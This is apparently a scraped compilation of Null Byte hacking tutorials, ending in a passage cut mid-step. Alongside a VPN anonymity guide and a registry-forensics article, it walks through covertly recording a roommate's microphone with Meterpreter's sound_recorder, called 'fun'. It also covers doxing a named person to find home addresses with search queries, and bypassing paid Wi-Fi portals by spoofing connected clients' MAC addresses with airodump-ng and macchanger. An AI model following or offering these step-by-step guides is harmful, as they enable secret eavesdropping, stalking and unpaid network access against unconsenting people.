Perpetual LicenseCover image viaShutterstockRelatedHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)Hack Like a Pro:How to Scan the Internet for Heartbleed VulnerabilitiesHack Like a Pro:How to Hack Web Apps, Part 5 (Finding Vulnerable WordPress Websites)Hack Like a Pro:How to Hack Web Apps, Part 2 (Website Spidering with WebScarab)News:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:How to Find the Latest Exploits and Vulnerabilities—Directly from MicrosoftHIOB:WebSite Hacking Series Part 2: Hacking WebSites Using The DotNetNuke VulnerabilityHow To:Top 10 Exploit Databases for Finding VulnerabilitiesHack Like a Pro:Using Nexpose to Scan for Network & System VulnerabilitiesHack Like a Pro:Using the Nmap Scripting Engine (NSE) for ReconnaissanceAndroid for Hackers:How to Scan Websites for Vulnerabilities Using an Android Phone Without RootHack Like a Pro:How to Hack Web Apps, Part 6 (Using OWASP ZAP to Find Vulnerabilities)Hack Like a Pro:Hacking the Heartbleed VulnerabilityThe Panama Papers Hack:Further Proof That Hacking Is Changing the WorldHack Like a Pro:How to Scan for Vulnerabilities with NessusHack Like a Pro:How to Find Almost Every Known Vulnerability & Exploit Out ThereHack Like a Pro:Hacking Windows XP Through Windows 8 Using Adobe Flash PlayerHow To:Scan for Vulnerabilities on Any Website Using NiktoHack Like a Pro:Reconnaissance with Recon-Ng, Part 1 (Getting Started)Hack Like a Pro:How to Exploit Adobe Flash with a Corrupted Movie File to Hack Windows 7Hack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHow To:Hack websites using cross-site scripting (XSS)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 10 (Finding Deleted Webpages)How To:Fix Your Hacked and Malware-Infested Website with GoogleHow To:SQL Injection Finding Vulnerable Websites..How To:Beginner's Guide to OWASP Juice Shop, Your Practice Hacking Grounds for the 10 Most Common Web App VulnerabilitiesNews:Hack the Switch? Nintendo's Ready to Reward You Up to $20,000How To:The Art of 0-Day Vulnerabilities, Part 1: STATIC ANALYSISNews:Flaw in Facebook & Google Allows Phishing, Spam & MoreForbes Exploited:XSS Vulnerabilities Allow Phishers to Hijack Sessions & Steal LoginsNews:Best Hacking SoftwareHow To:Is Your Website Vulnerable to XSS Injections? Here's How to Protect Your VisitorsGoodnight Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker TrainingHow To:How Cross-Site Scripting (XSS) Attacks Sneak into Unprotected Websites (Plus: How to Block Them)How To:Hack Coin-Operated Laudromat Machines for Free Wash & Dry Cycles
TypoGuy Explaining Anonymity: Choosing a Good VPN « Null Byte :: WonderHowTo
You want to become anonymous, and dont want your IP to be logged on websites? Well read along here.Continuing This Series:I am continuing this series for those of you whom didnt know I had one of these going.Follow up on this series by searching in the search byYour Real IdentityWho is AnonymousA Hackers MindsetAnd nowChoosing a VPNWhat Is a VPN?It is a service that offers you anonymity to a certain extend.It creates a tunnel from your PC, to the server you are connecting to, and encrypts that tunnel so nobody can read whatever data is being processed. So you will be safe from eavesdropping, ssl striping, man in the middle attack, and more.In case you didn't know.What Are the Benefits?The benefits have changed in my eyes because of the dropping usage of proxies now. I will explain that in a different article.The benefits for VPNs are that you first of all, can rely more on VPNs than proxies. (If you ask me)It creates an encrypted tunnel from your PC to what you are connecting to, making you safe from various attacks.There are many different services to choose from. (Many services)Every service has its own features and offers different services but mostly they cover up most of what is necessarySome providers even offer you a trial (How incredible is that..)You can choose what country you want displayed as your IPYou can change your IP at any time (At least the ones I know)You can buy several VPNs and use them at the same timeWhat Are the Downsides?Everything that is pleasant also has some downsides, unfortunately.Here are a fewYou can never be certain if your provider is being completely honest about its servicesSome will screw you over and hand over logs to the government. (Hint; HideMyAss)You have to pay (Obviously a downside)You need to trust a company with them keeping the feds away from your home, because whomever you are using as your VPN provider, they will know your real IP.Just some downsides I can come up with right now, there might be moreDoes VPN Providers Keep Logs?The simple answer is yes mate. They do.Personally I would argue that the majority of VPNs today keep logs, and the majority of those providers "claim" they don't. We have seen it before, a hackers identity is blown because the company provided logs to the government despite the fact they claimed no logs were kept.Of course some are being honest and doesn't keep logs, but the bad news is, you need to take a chance and hope that the one you have chosen is being honest about what they are telling you.You really need to do a lot of recon on the provider before choosing it, is my best advice.Read their Terms of Service. (I mean it, actually read it)Read their privacy policy.Find out where they are locatedRead as many reviews as you canCheck out what others have said about the productAsk around see what they have to sayAnd do whatever it takes to get more information from the provider before choosingHow Do I Choose a VPN?First of all, dont ask anyone for their recommendation because 99% is they wont tell you. Want to know why?Because every provider is different, and you are responsible for your own anonymity, and have to protect yourself. And because every hacker has different circumstances meaning, you might be in US and another one might be in China, vice versa. Different things apply to people located elsewhere from you.First of all, when choosing a VPN,STAY AWAY FROM ANY PROVIDER LOCATED IN THE USThat is the number one thing you need to make sure of, because not only is NSA CIA FBI located in the US, also is the government (obviously). Also the Patriot Act applies to everyone and everything located within the US, which means the VPN provider you thought is so good about keeping you anonymous, actually has to hand over every single log of you if they are ever approached by the NSA or FBI.Next, this is the only recommendation I can give you towards VPNs. Choose one located in Russia, China or Sweden.Simply because Sweden has privacy laws that are very good, and isn't located in US.And nor Russia or China will ever take orders from the US. Don't really need to explain further, because it says a lot.Read their Terms of Service & Privacy Policy. (Actually read it)Consider your provider a lot before choosing it. Get as close to 100% to being sure of whether or not you can trust the provider.Am I Now Anonymous?No you aren't. You are never completely anonymous on the internet, as any real hacker will tell you. And just like any other software out there, your provider is also a software, which means its hackable, and you are therefore still at risk.Wait VPNs can be hacked?They most certainly can, and you have to remember that whomever has created the software is always in full control of it.They know the code and you don't.Stay safeTypoWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Keeping Your Hacking Identity Secret - #2How To:Get VPN ConnectionHow To:Fully Anonymize Kali with Tor, Whonix & PIA VPNHow To:This Is by Far the Easiest Way to Set Up a Free VPN on Your iPhoneTypoGuy Explaining Anonymity:Your Real IdentityHow To:Safely Browse the Web with Opera's Free VPNHow To:Fix VPN Issues on iPhone to Ensure a More Private Internet ExperienceHow To:Access Bitcoin Gambling Sites from Your Phone — Even if They Ban Your CountryTypoGuy Explaining Anonymity:Who Is Anonymous?TypoGuy Explaining Anonymity:Secure Browsing HabitsHow To:The Best 'No-Logs' VPN Apps for Safe & Private Mobile BrowsingNews:Popcorn Time ExplainedHow To:Set Up SoftEther VPN on Windows to Keep Your Data SecureHack Like a Pro:How to Keep Your Internet Traffic Private from AnyoneHow To:Chain VPNs for Complete AnonymityMastering Security, Part 2:How to Create a Home VPN TunnelDeal Alert:VPN Unlimited Is Only $39 Right Now for a Lifetime LicenseHow To:Completely Mask & Anonymize Your BitTorrent Traffic Using AnomosHow To:Chain Proxies to Mask Your IP Address and Remain Anonymous on the WebRemove Your Online Identity:The Ultimate Guide to Anonymity and Security on the InternetHow To:Protect Your Browsing with This 10-Year VPN SubscriptionNews:Anonymity Networks. Don't use one, use all of them!How To:Mask Your IP Address and Remain Anonymous with OpenVPN for Linux
Hack Like a Pro: How to Remotely Record & Listen to the Microphone on Anyone's Computer « Null Byte :: WonderHowTo
Welcome back, my tenderfoot hackers!So many of you responded positively to my post aboutusing the keylogger, as well as my post regardingturning on the webcam, that I decided that you might enjoy another similar hack. In this article, we will enable the audio recording capability on the remote system of your roommate.Once again, let's fire upMetasploitfrom BackTrack and embed theMeterpreteron the remote or victim system. There are a number of ways of doing this, so check back to my earlier posts to see how to install it via amalicious clickable link, a maliciousMicrosoft Office documentorAdobe Acrobat file, andmore.How to Record Computer Audio RemotelyFrom here, we should have a Meterpreter prompt on our system that reflects the control panel of the Meterpreter on the remote victim system.Here we have almost total control of their system. We canturn off their antivirus system, embed asoftware keylogger, turn ontheir webcam, etc. In this case, we will use a script that turns on the sound recording on our roommate's computer system and enables us to play back this recording at a later time.Step 1: Find the sound__recorder.rb ScriptAs this script is relatively new (2010), let's make certain that your version of Metasploit has the sound recorder script. First, open a second terminal and navigate to the following directory.root@bt > cd /opt/metasploit/msf3/scripts/meterpreterOnce we are in this directory, simply do a listing of all files by typing:root@bt: /opt/metasploit/msf3/scripts/meterpreter ls -lThe script should appear among the list of meterpreter scripts. If it doesn't, you can either update your Metasploit by typing in the msfconsole:msf > msfupdateOr you can download the scripthere.Make sure that you save it to the directory/opt/metasploit/msf3/scripts/meterpreter.Step 2: Run sound__recorderNow that we have the script in the proper directory, let's run it. First, let's look at the help file by typing:meterpreter > run sound_recorder -hNotice that we have just a couple options. We can specify the number of 30 second intervals to record with the–iswitch and the directory to save the recorded file to with the–lswitch. So, let's record 15 minutes (30 x 30 seconds = 15 minutes) of our roommate and save the file in the/etcdirectory. We can do this by typing:meterpreter > run sound_recorder -i 30 -l /etcStep 3: Play Back the RecordingWhen the recording has completed and run its course, the Meterpreter will save the recording to a file on our system in the directory we specified, or in this case the/etcdirectory.Now we simply need to run that audio file in an audio player and we can hear everything that was going on in our roommate's room during that 15 minutes.This could be fun! Who knows what might be on that 15 minutes of recording every Saturday night!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo byZwola Fasola/ShutterstockRelatedHacking Windows 10:How to Remotely Record & Listen to the Microphone of a Hacked ComputerHow To:Choose Which Microphone Your Phone Uses When Recording Video in Fimic Pro (To Capture Clearer Audio)How To:Prevent & Stop Apps from Using Your iPhone's Microphone & Enhance Your PrivacyHack Like a Pro:How to Spy on Anyone, Part 1 (Hacking Computers)Hacking macOS:How to Remotely Eavesdrop in Real Time Using Anyone's MacBook MicrophoneHow To:Use Your Android as a Microphone for Your PCHow To:Eavesdrop from a Distance with This DIY Parabolic "Spy" MicrophoneHow To:Enable Active Noise Cancellation on Your AirPod ProsHow To:Record Games on AndroidHack Like a Pro:How to Remotely Grab Encrypted Passwords from a Compromised ComputerHow To:Build a laser microphoneHack Like a Pro:How to Secretly Hack Into, Switch On, & Watch Anyone's Webcam RemotelyHow To:Record Your iPad or iPhone Screen Without JailbreakingHow To:This Workaround Lets You Record Music Playing on Your iPhone While Filming a VideoHow To:Record voice overs in Corel VideoStudioHow To:Record your podcast episode in GaragebandAndroid for Hackers:How to Backdoor Windows 10 & Livestream the Desktop (Without RDP)News:The Best Microphones for Your Podcast & Voiceover RecordingsHow To:Draw and Ink SpidermanHack Like a Pro:How to Remotely Grab a Screenshot of Someone's Compromised ComputerHow To:If You Use Password Hints in Windows 7 or 8, This Hack Could Easily Exploit ThemNews:What does Pro Tools HD Native mean for you?How To:Use Google Voice to Prank Your Friends on April Fool's DayHow To:Create a Reverse Shell to Remotely Execute Root Commands Over Any Open Port Using NetCat or BASHHow To:Remotely Control Computers Over VNC Securely with SSHReel Moments:Make Time-Lapse Video on Your iPhone in Just a Few ClicksNews:Tips on recording a kick drumNull Byte:Never Let Us DieNews:Why Rdio.com Is Better than the iTunes Music Store
Gathering Sensitive Information: Using Advanced Search Queries « Null Byte :: WonderHowTo
continuing this series, I will now go in-depth on using advanced search queries.What Is Search Queries Again?When you type something into Google, or whatever you are using, you for obvious reasons, dont get all the results on your search. Because that would simply be way too much data for your computer to handle.hence: that is why Google have so many and such big serversnot fit for your laptop or desktop.Definition:A web search query is a query that a user enters into a web search engine to satisfy his or her information needs.According to Wiki at least.That would be the ideal definition you'd get by asking a non-hacker.However, now lets imagine you asked Typo, and see what you would get.Definition:By performing a search query in a database holding useful information, your query will go through the most popular databases potentially holding your answer, and will display that information in accordingly, depending on its popularity.That is more like it XDBasics of Advanced Search Queries:So, let me introduce to you a search query I use quite often actually, because it is very convenient, and provides good results. What I am introducing to you, is your new friend called A. He looks like this@This little fella can pull some good information in a short and sweet search query looking something like this:@MichaelOregonRemember our friend Michael that we are trying to DoX?What is the@doing exactly?It narrows down your results tremendously, because as I mentioned above, your search query goes through hundreds of databases, and if you dont put in@, you will receive everything that have eitherMichaelorOregonin it. therefore it is very effective to put in @, because it will look for specifically those 2 namesTOGETHER.You will of course still get useless information, but that wont be whats being displayed to you at the top of your page. Usually (if done correctly) you should see potential social media profiles, and websites etc. first, and then useless information. Trust me, it will save you a lot of time.Advanced Search Queries:Now, lets move on to the big boy stuff. This is guaranteed that no average PC user is aware of this, because why would they?My other friend he is also very good at pulling some information when I am looking for specifically a certain thing." "This guy right here can show you for example a spécific location. Lets say you are looking forMichaeland you have heard rumours he might be living inUSAbut even more, he might be living nearPennsylvania. So one thing you could do is this:@MichaelOregon "Pennsylvania"This will display (hopefully) a Michael Oregon living in Pennsylvania with potential addresses. Lets have a look.Michael Oregons DoX.I will possibly make a #2 onAdvanced Search QueriesClosingNext article I will go in-depth on showing how to dig information from social media sites, as many people dont know how much info they are providing to the Web without their consent, and not knowing that this info is actually not necessary to be provided in order for their accounts to work and what not.hope ill see you there.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Gathering Sensitive Information: Basics & Fundamentals of DoXingHow To:Gathering Sensitive Information: Scouting Media Profiles for Target InformationHow To:Use Google Search Operators to Find Elusive InformationSQL Injection 101:How to Fingerprint Databases & Perform General Reconnaissance for a More Successful AttackHow To:Perform Stealth Searches on Your Galaxy Note 2 So ISPs & Websites Can't Keep Track of YouNews:Many Lookup EnginesSQL Injection 101:Database & SQL Basics Every Hacker Needs to KnowHow To:Remove sensitive information in Adobe Acrobat 9 ProHow To:Gather Information on PostgreSQL Databases with MetasploitHow To:Scrape Target Email Addresses with TheHarvesterHow To:Create a website and improve web presenceHow To:Use Google-style queries in Microsoft Office AccessHow To:Get Instant Answers Right from Chrome's Search BarHow To:Perform Directory Traversal & Extract Sensitive InformationHow To:Use Google to Hack(Googledorks)How To:Search YouTube more efficiently with search operatorsHow To:These Excel Courses Can Turn You into an In-Demand Data WizHow To:Quickly Search the Web & Your Nexus from Within Any App or ScreenRecon:How to Research a Person or Organization Using the Operative FrameworkHow To:Nab Free eBooks Using GoogleHow To:Encrypt Your Sensitive Files Using TrueCryptNews:Accessing a PostgreSQL Database in your C/C++ ProgramHow To:enable & disable Page File EncryptionHow To:Search for Google+ Profiles and Posts Using Chrome's Search Engine SettingsHow To:Check Out WonderHowTo On Your iPhone Or Android PhoneThe Anonymous Search Engine:How to Browse the Internet Without Being TrackedNews:Gathering Data for Fun and ProfitWeekend Homework:How to Become a Null Byte ContributorNews:Null Byte Is Calling for Contributors!News:Laying the Foundation pt.2Google Dorking:AmIDoinItRite?News:Getting Started With Wealthy Affiliate: Consider These 5 Benefits When You JoinNews:The Girdle Of Venus - PalmistryNews:New Variant of Zeus Trojan Loses Reliance On C&C ServerNews:Achieve Results YouTube Channel
Hack Like a Pro: Digital Forensics for the Aspiring Hacker, Part 5 (Windows Registry Forensics) « Null Byte :: WonderHowTo
Welcome back, my aspiring hackers!As I mentioned in earlier posts, the best hackers (or at least those not behind bars) have a keen understanding ofdigital forensics. If I am tasked to intrude upon an enemy's file server to retrieve war plans, such as inthis tutorial, it is essential to my country's (and my own) well-being that it not be traced back to me. Understanding digital forensics helps us to leave without a trace and never have a trail back to us or our employer.Although nearly all Microsoft Windows users are aware that their system has a registry, few understand what it does, and even fewer understand how to manipulate it for their purposes. As a forensic analyst, the registry can be a treasure trove of evidence of what, where, when, and how something occurred on the system.In this post, I want to help you to understand how the Windows registry works and what evidence it leaves behind when someone uses the system for good or ill.What Is the Registry?The registry is a database of stored configuration information about the users, hardware, and software on a Windows system. Although the registry was designed to configure the system, to do so, it tracks such a plethora of information about the user's activities, the devices connected to system, what software was used and when, etc. All of this can be useful for the forensic investigator in tracking the who, what, where, and when of a forensic investigation. The key is just knowing where to look.HivesInside the registry, there are root folders. These root folders are referred to as hives. There are five (5) registry hives.HKEY_USERS: contains all the loaded user profilesHKEYCURRENT_USER: profile of the currently logged-on userHKEYCLASSES_ROOT: configuration information on the application used to open filesHKEYCURRENT_CONFIG: hardware profile of the system at startupHKEYLOCAL_MACHINE: configuration information including hardware and software settingsRegistry StructureThe registry is structured very similarly to the Windows directory/subdirectory structure. You have the five root keys or hives and then subkeys. In some cases, you have sub-subkeys. These subkeys then have descriptions and values that are displayed in the contents pane. Very often, the values are simply 0 or 1, meaning on or off, but also can contain more complex information usually displayed in hexadecimal.Accessing the RegistryOn our own system—not in a forensic mode—we can access the registry by using theregeditutility built into Windows. Simply type regedit in the search window and then click on it to open the registry editor like that below.Information in the Registry with Forensic ValueAs a forensic investigator, the registry can prove to be a treasure trove of information on who, what, where, and when something took place on a system that can directly link the perpetrator to the actions being called into question. As a hacker, the registry can provide that evidence necessary to put you away in prison for quite awhile.Information that can be found in the registry includes:Users and the time they last used the systemMost recently used softwareAny devices mounted to the system including unique identifiers of flash drives, hard drives, phones, tablets, etc.When the system connected to a specific wireless access pointWhat and when files were accessedA list any searches done on the systemAnd much, much moreWireless Evidence in the RegistryMany hackers crack a local wireless access point and use it for their intrusions. In this way, if the IP address is traced, it will lead back to the neighbor's or other wireless AP and not them.For example, back in January 2012, an Anonymous member, John Borrell III, hacked into the computer systems of the Salt Lake City police department and the Utah Chiefs of Police. The FBI was called in to investigate and they traced the hacker back to the IP address of Blessed Sacrament Church's Wi-Fi AP in Toledo, Ohio. The hacker had apparently cracked the password of the church's wireless AP and was using it to hack "anonymously" on the Internet.John Borrell III/FacebookEventually, the FBI was able to find the suspect through various investigation techniques, mostly low-tech, exhaustive, detective work. It helped that John Borrell had bragged on Twitter of his success as a hacker. Eventually, Mr. Borrell was convicted and sentenced to two years in Federal prison.When the FBI tracked down Mr. Borrell and seized his computer, they were able to prove he had been connected to the church AP by examining his registry. The forensic investigator simply had to look in the registry at this location:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\ProfilesThere, you will find a list of GUIDs of wireless access points the machine has been connected to. When you click on one, it reveals information including the SSID name and the date last connected in hexadecimal. So, although Mr. Borrell initially denied his involvement with this hack, this evidence was conclusive and he eventually plead guilty.You can see in this screenshot below showing the perpetrator had connected to the "HolidayInnColumbia" SSID in November 2014.We will further explore how the registry can be used in digital forensics infuture tutorials, so keep coming back, my aspiring hackers, as we further explore the science and art of digital forensics! And if you want to start putting some of these tasks to work, make sure to check out mydigital forensics series for Kali, too.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 8 (More Windows Registry Forensics)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 1 (Tools & Techniques)Hack Like a Pro:Digital Forensics Using Kali, Part 1 (The Tools of a Forensic Investigator)News:Why YOU Should Study Digital ForensicsHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 11 (Using Splunk)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 9 (Finding Storage Device Artifacts in the Registry)How To:The Essential Skills to Becoming a Master HackerHow To:Become a Computer Forensics Pro with This $29 TrainingHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 6 (Using IDA Pro)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 12 (Windows Prefetch Files)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 2 (Network Forensics)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 7 (Windows Sysinternals)SPLOIT:Forensics with Metasploit ~ ( Recovering Deleted Files )Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 15 (Parsing Out Key Info from Memory)News:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 10 (Identifying Signatures of a Port Scan & DoS Attack)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 14 (Live Memory Forensics)News:What to Expect from Null Byte in 2015News:Airline Offers Frequent Flyer Miles to HackersHack Like a Pro:Digital Forensics Using Kali, Part 2 (Acquiring a Hard Drive Image for Analysis)Hack Like a Pro:Digital Forensics Using Kali, Part 3 (Creating Cases in Autopsy & Sleuth Kit)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 16 (Extracting EXIF Data from Image Files)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 13 (Browser Forensics)News:Becoming a HackerHow To:Why You Should Study to Be a HackerHack Like a Pro:How to Use the New p0f 3.0 for OS Fingerprinting & ForensicsHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 3 (Recovering Deleted Files)Hack Like a Pro:How to Hack Facebook (Facebook Password Extractor)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 4 (Evading Detection While DoSing)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)Hack Like a Pro:Getting Started with BackTrack, Your New Hacking SystemNews:Flawed Laptop Fingerprint Readers Make Your Windows Password Vulnerable to HackersNews:Sneaky! WhatsApp Adds Encryption to iCloud Backups on the SlyHacking Windows 10:How to Find Sensitive & 'Deleted' Files RemotelyHow To:Install a Persistant Backdoor in Windows Using NetcatHow To:Don't Get Caught! How to Protect Your Hard Drives from Data ForensicsNews:FIX WINDOWS 7 SLOW STARTUP TIMES...How To:log on Windows 7 with username & passwordNews:VARIOUS WINDOWS ISSUES RESOLVED BELOW...
How to Hack Open Hotel, Airplane & Coffee Shop Wi-Fi with MAC Address Spoofing « Null Byte :: WonderHowTo
Afterfinding and monitoringnearby wireless access points and devices connected to them, hackers can use this information to bypass some types of security, like the kind used for Wi-Fi hotspots in coffee shops, hotels, and in flights high above the ground. By swapping their MAC address for that of someone already connected, a hacker can bypass the MAC filter and connect freely.Password-free networks are common in public spaces, allowing anyone to initially join the network without needing to know a secret password. You've likely encountered them at Starbucks, hotel rooms, and on flights featuring in-flight Wi-Fi. All of these networks will have a login portal or payments page users will be continuously redirected to before they can connect directly to the internet.How MAC Addresses Play a Key Role in ConnectingIn order to connect to one of these public hotspots, or any router, a device's MAC address is needed to assign the device an IP address when attempting to connect, ensuring that any requests the device makes to load content from the internet are returned back to the correct IP (and MAC) address. Routers can allow or prevent devices from accessing the internet based on its MAC address alone.These public wireless networks manage their security by having a secret "white list" of MAC addresses belonging to devices which have already gone through the authentication process. These devices have already either accepted the terms of service, paid, or otherwise gone through the process needed to register them with the network's MAC filter, and they are free to access the internet without needing to go through the portal again for a period of time.Don't Miss:How to Create an Evil Twin Wireless Access Point to Eavesdrop on DataThere currently aren't many ways besides MAC addresses for a Wi-Fi access point to differentiate between wireless devices trying to join the network. Fortunately for a hacker, it is also exceedingly easy to change or spoof the MAC address of a Wi-Fi device. A MAC address is supposed to be a unique address set by the manufacturer to identify a piece of hardware to a network and to other devices, but in practice, assuming the MAC address is always truthful isn't a good idea.Taking Advantage of This Security LoopholeBy simply scanning the local area with tools likeKismetorAirodump-ng, a hacker can easily see every open Wi-Fi network nearby, as well as any clients connected to it. This clearly reveals the MAC address of any device exchanging data with a network, which is an indication that it has already authenticated successfully.Don't Miss:Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking ToolsHacking class: Students using Kismet and external wireless cards to scan for Wi-Fi devices.Image by Kody/Null ByteNext, comes MAC spoofing. A simple command line tool likeGNU MAC Changeris then able to swap out the hacker's MAC address for one discovered to already be connected, allowing them to connect to the network disguised as the trusted, authorized device, granting them the same level of access.After successfully spoofing the MAC address, the hacker can obtain network access without authentication or even paying a fee. Another scenario is when a hacker will add a small surveillance device or camera to a public Wi-Fi network which, by itself, would not have the ability to authenticate through a portal the way some open networks require to connect.It's worth noting that most of these network types prohibit devices from communicating with each other directly by restricting each device to its own subnet, so don't think you'll be able to add a Raspberry Pi and SSH into it directly from a coffee shop hotspot. In spite of this limitation, the ability to get free, unfettered access to information is a critical skill for a hacker, and using this trick can get you a data connection in urban areas without the need for much infrastructure.Don't Miss:How to Wardrive on the Kali Raspberry Pi to Map Wi-Fi DevicesWhat You'll NeedThis is a relatively simple tactic, but you'll need a couple important capabilities to pull it off. First, you'll need the ability to change your MAC address, which can be accomplished via a program likeGNU MAC Changer, as already discussed. This is pretty easy on just about every system, but especially Linux and macOS.Next, you will need to be able to find and listen in on wireless networks nearby.Kismetcan be run on Linux or macOS to scan a wide area, but other Kali-specific tools likeAirodump-ngallow for precise and lightweight targeting. Either will work.Using a Panda PAU 09 and a TP-Link to scan wireless networks nearby with Kismet.Image by Kody/Null ByteIn most cases, you'll need a wireless network adapter which can be put into wireless monitor mode, or promiscuous mode, unless your existing card supports this. While Kismet can enable this mode on macOS wireless cards, we recommend a Kali-compatible wireless network adapter like the$16 PAU05to be able to run all the wireless monitoring tools at your disposal.Don't Miss:The Best Wireless Network Adapters for Wi-Fi HackingStep 1: Install the Needed ToolsAs always, make sure your Kali system is updated by runningapt-getupdatein a terminal window. Next, ensure you have the correct tools by runningapt-get install macchanger aircrack-ng.This will ensure the installed version of both programs is up to date, and it will install the most current version if it is not present.Included in theAircrack-ngpackage is Airodump-ng, our reconnaissance tool of choice for this tactic. We can also use Kismet, but the simple filters on Airodump-ng make it lightweight for this application. If you'd rather use Kismet, you can check out my article on wireless surveillance using Kismet at the link below.More Info:How to Use Kismet to Watch Wi-Fi User Activity Through WallsStep 2: Verify the Open Network's SecurityBefore going any further, connect to the open network in question and verify that there is some sort of security to get through.In my example, I'm examining an open (meaning no password) public Wi-Fi network that is free for cable subscribers. Upon connecting, my device is assigned an IP address, but I'm not able to access the internet. I tested this by checking to see if my pings can get through to the internet, as seen below.My packets never hit the internet, so I'll need to open a browser window to see if there is a captive portal to be directed to in order to sign in and access the internet. As is typical for these kinds of networks, attempting to load any webpage will simply load the same captive portal page requesting login credentials every time.Open Firefox, enter a URL to navigate to, then you should be redirected to the portal.A captive portal page, which we are redirected to every time we try to access the internet.Step 3: Get into Monitor ModeNow that you've confirmed you have a captive portal likely using a MAC address, it's time to find someone already allowed to join the network. First, get your tools in order. Plug in your wireless network adapter, and useifconfigto see the name your computer assigns to it. It should be something like wlan0 or wlan1.Once you have the name of your interface, you'll need to put the card into monitor mode to explore the area. To do this, enter the following in a terminal window.sudo airmon-ng startCardNameip aThis should put your card into monitor mode, and then display a list of the networking devices attached. If your card was successfully put into monitor mode, it should have been renamed to include "mon" at the end of the card. Thus, if you were working with a card called wlan0, it would change to wlan0mon.Starting the wlan0 card into monitor mode.Image by Kody/Null ByteCopy the name of the card that's been placed into monitor mode, as you'll need it for the next command.Step 4: Scan & Filter for Encryption TypesTo scan the entire area for open networks, you'll use Airodump-ng with a single argument. In a terminal window, type the following command, making sure to change "wlan0mon" to the name of your wireless card.sudo airodump-ng wlan0mon --encrypt OPNThe--encrypt OPNallows us to specify that we only want to see nearby open networks. We should see a list of all open networks in range on all channels.This list may be quite large, so you'll need to filter it further to be useful. Let this run for awhile and look for a few key things: data transfer and clients. Your card will be scanning all channels by default, so it will be skipping around quite a bit while doing so. You can see client devices (laptops, cell phones, and other Wi-Fi devices) listed in the table on the bottom.While doing so, it will begin to show you if data is being transferred on the network, or if only "beacons" are being transmitted. Beacons are automated packets that are sent out many times each second to let nearby devices know it's available to connect to, and they don't mean anything interesting. Data, however, means there is likely someone on the network. Sometimes it may be hard to see this while skipping around on different channels. HitCtrl + Cto stop the scan.Step 5: Target an Individual Channel & ClientTo keep your card on one channel, select the channel with the most open networks on it. Since most of the ones seen in my example are on channel 5, I can add-c 5to my command to make it stay on channel 5. This, however, will show many unassociated devices, which are things like laptops or smartphones that aren't yet connected to a Wi-Fi network.Since you're looking for connected devices that have already gotten through the MAC address filter, you'll need to add another argument to show only associated (connected) devices. Below, you can see the output of re-running the previous command with the-c 5flag to only show networks on channel 5.To construct the filter to find a connected user, add the-c 5flag to specify channel 5, and-ato ignore any clients that aren't currently connected. Making sure to change the channel number to that of the network you're targeting, run the following in a terminal window.sudo airodump-ng wlan0mon -c 5 --encrypt OPN -aNow, stay on a single channel and focus on associated clients. Below, you can see I am detecting data use on the last of three detected open networks on my chosen channel. The output in the lower half of the screen shows connected clients, and it's obvious this network has three connected clients. This is the data needed to get into the network.Target data showing nearby open networks and associated clients.To confirm that these clients are connected to "CableWiFi," you can also see a "probe" frame from the client device looking for the "CableWiFi" network. This means it has connected to the network before and is looking for it to connect again. You can also see that the connected "BSSID" of these clients matches the "CableWiFi" BSSID, meaning the three MAC addresses listed each are associated with the target network.Since one client (the last one in my example) has significantly more frames sent over the network than the others, I can assume the last client is using the most data and represents the best target to pretend to be.Note the MAC address that you select, as it is your key to the network.Step 6: Get into Station ModeNow, you can take your card out of monitor mode and back into station mode. To do this, typesudo airmon-ng stop wlan0mon, replacing the interface name with the name of your card. This should change the card name and remove the "mon" at the 